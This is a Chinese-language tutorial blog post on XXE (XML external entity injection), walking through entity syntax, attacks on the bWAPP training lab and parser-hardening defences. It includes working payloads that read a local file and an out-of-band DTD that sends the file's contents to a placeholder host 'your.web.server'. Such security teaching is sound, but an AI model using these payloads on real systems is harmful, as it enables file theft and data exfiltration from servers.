前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >xxe原理解析

xxe原理解析

原创
作者头像
第59号实验室
发布2023-05-05 17:43:52
3040
发布2023-05-05 17:43:52
举报
文章被收录于专栏:企业安全企业安全

一:XML格式

代码语言:javascript
复制
<?xml version="1.0" encoding="utf-8"?>  xml声明
<!DOCTYPE copyright [        DTD定义
  <!ELEMENT note (to,reset,login,secret)> 定义元素
  <!ENTITY test SYSTEM "file:///c://test.txt"> 定义外部实体
  <!ENTITY test2 "test2"> 定义内部实体
  <!TNTITY % test3 "test3"> 定义参数实体
  <!ENTITY % test4 "file:///c://test.txt"> 定义参数实体
  % test3;
  % test4;
]
>

<to>
<reset>
<login>&test;</login>
<secret>&test2;</secret>
</reset>
</to>

参数实体是在DTD中引用,而其余实体在XML中引用;且实体定义中不能引用参数实体

二:XXE漏洞原因

XXE漏洞全称XML External Entity Injection,即XML外部实体注入漏洞。引用程序在解析XML时,如果没有禁止外部实体的加载,理论上可以加载外部文件(操作系统层面的文件),可以造成文件读取,命令执行,内网端口扫描等。以bwapp的xxe为例

1.等级为low,点击any bugs 抓包

注意这里接受的是XML数据,所以我们可以自己尝试构建实体,如果后台没有合理的解析参数,就有可以造成XXE漏洞。修改的内容,知道这里解析login参数并回显

新建外部实体并引用

读取sojrs.txt文件并返回了信息

2.等级为medium,抓包 尝试xxe回显,但是数据无回显

到这里不一定没有XXE漏洞,仍然要测试是否禁用了外部实体,修改DTD,访问外部站点观察访问记录

访问记录存在,XXE漏洞存在,可利用带外通道获取数据,构造DTD如下

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE aa [
<!ENTITY % test SYSTEM "http://your.web.server/test">
%test;
%all;
]>
<reset><login>aaa</login><secret>&info;</secret></reset>

在web服务器上新建文件test,里面内容如下

代码语言:javascript
复制
<!ENTITY % file SYSTEM "file:///c://sojrs.txt"><!ENTITY % all "<!ENTITY info  SYSTEM 'http://your.web.server/index.html?log=%file;'>">

请求url中带了sojrs.txt中的内容为sojrs,xxe带外通过成功获取到数据。这里要注意<!ENTITY % test SYSTEM “http://your.web.server/test">的作用是引入在外部服务器上的实体,因为在本地的解释器中有可能不允许使用外部连接,即实体定义中不允许参数实体。

3.在等级为高的情况下,利用上面的带外通道依然能够成功

三:防御方法

  1. 禁用外部实体 在php中,引用外部实体和libxml库有关系 libxml > 2.9 默认不解析外部实体 php:libxml_disable_entity_loader(true); java: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  2. 过滤用户提交的xml数据,如DOCTYPE;SYSTEM等

四:参考文档

https://blog.csdn.net/u011721501/article/details/43775691#commentBox https://thief.one/2017/06/20/1/

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一:XML格式
  • 二:XXE漏洞原因
  • 三:防御方法
    • 四:参考文档
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档